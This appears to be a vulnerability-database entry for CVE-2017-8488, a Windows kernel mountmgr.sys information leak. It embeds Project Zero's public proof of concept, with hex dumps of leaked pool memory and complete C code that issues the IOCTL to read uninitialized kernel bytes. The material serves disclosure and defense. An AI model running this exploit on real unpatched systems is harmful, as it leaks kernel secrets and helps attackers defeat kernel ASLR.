CVE-2017-8488

medium

Published 2017-06-15 · Modified 2026-05-13

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CVSS v3

5.0

CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.0

Description

The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-8492, CVE-2017-8491, CVE-2017-8490, CVE-2017-8489, CVE-2017-8485, CVE-2017-8483, CVE-2017-8482, CVE-2017-8480, CVE-2017-8479, CVE-2017-8478, CVE-2017-8476, CVE-2017-8474, CVE-2017-8469, CVE-2017-8462, CVE-2017-0300, CVE-2017-0299, and CVE-2017-0297.

Predictions

Exploit likelihood

50%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42212 dos windows verified text · 10 KB

Google Security Research · 2017-06-21

Microsoft Windows - 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure

text exploit Source: Exploit-DB

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1150&desc=2

We have discovered that the handler of the IOCTL_MOUNTMGR_QUERY_POINTS IOCTL in mountmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000020: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000030: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000040: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a MOUNTMGR_MOUNT_POINTS structure [1], which in turn contains a list of MOUNTMGR_MOUNT_POINT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the repeating pairs of uninitialized bytes correspond to alignment holes after the SymbolicLinkNameLength, UniqueIdLength and DeviceNameLength fields (all of type USHORT, followed by LONG fields, which must be 4-aligned). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 56 03 00 00 05 00 00 00 ba 00 00 00 60 00 00 00 V...........`...
00000010: 80 00 00 00 0c 00 00 00 8c 00 00 00 2e 00[67 67]..............gg
00000020: 54 01 00 00 1c 00[67 67]1a 01 00 00 0c 00[67 67]T.....gg......gg
00000030: 26 01 00 00 2e 00[67 67]70 01 00 00 60 00[67 67]&.....ggp...`.gg
00000040: 1a 01 00 00 0c 00[67 67]26 01 00 00 2e 00[67 67]......gg&.....gg
00000050: da 02 00 00 60 00[67 67]d0 01 00 00 ee 00[67 67]....`.gg......gg
00000060: be 02 00 00 1c 00[67 67]3a 03 00 00 1c 00[67 67]......gg:.....gg
00000070: d0 01 00 00 ee 00[67 67]be 02 00 00 1c 00[67 67]......gg......gg
00000080: ee a2 5d 9f 00 00 10 00 00 00 00 00 5c 00 44 00 ..].........\.D.
00000090: 65 00 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 e.v.i.c.e.\.H.a.
000000a0: 72 00 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 r.d.d.i.s.k.V.o.
000000b0: 6c 00 75 00 6d 00 65 00 31 00 5c 00 3f 00 3f 00 l.u.m.e.1.\.?.?.
000000c0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000000d0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 34 00 b.c.0.5.b.4.9.4.
000000e0: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
000000f0: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000100: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000110: 36 00 39 00 36 00 33 00 7d 00 ee a2 5d 9f 00 00 6.9.6.3.}...]...
00000120: 50 06 00 00 00 00 5c 00 44 00 65 00 76 00 69 00 P.....\.D.e.v.i.
00000130: 63 00 65 00 5c 00 48 00 61 00 72 00 64 00 64 00 c.e.\.H.a.r.d.d.
00000140: 69 00 73 00 6b 00 56 00 6f 00 6c 00 75 00 6d 00 i.s.k.V.o.l.u.m.
00000150: 65 00 32 00 5c 00 44 00 6f 00 73 00 44 00 65 00 e.2.\.D.o.s.D.e.
00000160: 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 3a 00 v.i.c.e.s.\.C.:.
00000170: 5c 00 3f 00 3f 00 5c 00 56 00 6f 00 6c 00 75 00 \.?.?.\.V.o.l.u.
00000180: 6d 00 65 00 7b 00 62 00 63 00 30 00 35 00 62 00 m.e.{.b.c.0.5.b.
00000190: 34 00 39 00 35 00 2d 00 64 00 38 00 34 00 37 00 4.9.5.-.d.8.4.7.
000001a0: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.
000001b0: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.
000001c0: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.
000001d0: 5c 00 3f 00 3f 00 5c 00 49 00 44 00 45 00 23 00 \.?.?.\.I.D.E.#.
000001e0: 43 00 64 00 52 00 6f 00 6d 00 56 00 42 00 4f 00 C.d.R.o.m.V.B.O.
000001f0: 58 00 5f 00 43 00 44 00 2d 00 52 00 4f 00 4d 00 X._.C.D.-.R.O.M.
00000200: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000210: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000220: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000230: 5f 00 5f 00 5f 00 5f 00 5f 00 31 00 2e 00 30 00 _._._._._.1...0.
00000240: 5f 00 5f 00 5f 00 5f 00 5f 00 23 00 35 00 26 00 _._._._._.#.5.&.
00000250: 31 00 30 00 36 00 61 00 66 00 31 00 37 00 31 00 1.0.6.a.f.1.7.1.
00000260: 26 00 30 00 26 00 31 00 2e 00 30 00 2e 00 30 00 &.0.&.1...0...0.
00000270: 23 00 7b 00 35 00 33 00 66 00 35 00 36 00 33 00 #.{.5.3.f.5.6.3.
00000280: 30 00 64 00 2d 00 62 00 36 00 62 00 66 00 2d 00 0.d.-.b.6.b.f.-.
00000290: 31 00 31 00 64 00 30 00 2d 00 39 00 34 00 66 00 1.1.d.0.-.9.4.f.
000002a0: 32 00 2d 00 30 00 30 00 61 00 30 00 63 00 39 00 2.-.0.0.a.0.c.9.
000002b0: 31 00 65 00 66 00 62 00 38 00 62 00 7d 00 5c 00 1.e.f.b.8.b.}.\.
000002c0: 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 43 00 D.e.v.i.c.e.\.C.
000002d0: 64 00 52 00 6f 00 6d 00 30 00 5c 00 3f 00 3f 00 d.R.o.m.0.\.?.?.
000002e0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000002f0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 38 00 b.c.0.5.b.4.9.8.
00000300: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
00000310: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000320: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000330: 36 00 39 00 36 00 33 00 7d 00 5c 00 44 00 6f 00 6.9.6.3.}.\.D.o.
00000340: 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 s.D.e.v.i.c.e.s.
00000350: 5c 00 44 00 3a 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? \.D.:...........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winioctl.h>
#include <cstdio>

typedef struct _MOUNTMGR_MOUNT_POINT {
  ULONG  SymbolicLinkNameOffset;
  USHORT SymbolicLinkNameLength;
  ULONG  UniqueIdOffset;
  USHORT UniqueIdLength;
  ULONG  DeviceNameOffset;
  USHORT DeviceNameLength;
} MOUNTMGR_MOUNT_POINT, *PMOUNTMGR_MOUNT_POINT;

typedef struct _MOUNTMGR_MOUNT_POINTS {
  ULONG                Size;
  ULONG                NumberOfMountPoints;
  MOUNTMGR_MOUNT_POINT MountPoints[1];
} MOUNTMGR_MOUNT_POINTS, *PMOUNTMGR_MOUNT_POINTS;

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open mount point manager.
  HANDLE hMntPointMgr = CreateFile(L"\\\\.\\MountPointManager",
                                   0,
                                   FILE_SHARE_READ | FILE_SHARE_WRITE,
                                   NULL,
                                   OPEN_EXISTING,
                                   FILE_ATTRIBUTE_NORMAL,
                                   NULL);
  if (hMntPointMgr == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }

  // Request data, assuming it fits into the 4096-byte buffer.
  MOUNTMGR_MOUNT_POINT mnt_point;
  RtlZeroMemory(&mnt_point, sizeof(mnt_point));

  BYTE OutputBuffer[4096];
  DWORD BytesReturned;
  if (!DeviceIoControl(hMntPointMgr, 0x6D0008, &mnt_point, sizeof(mnt_point), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hMntPointMgr);
    return 1;
  }

  PrintHex(OutputBuffer, BytesReturned);

  CloseHandle(hMntPointMgr);

  return 0;
}

OS impact

Windows Affected 2 releases

Version	Status	Fixed in
r2	Affected	—
-	Affected	—

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.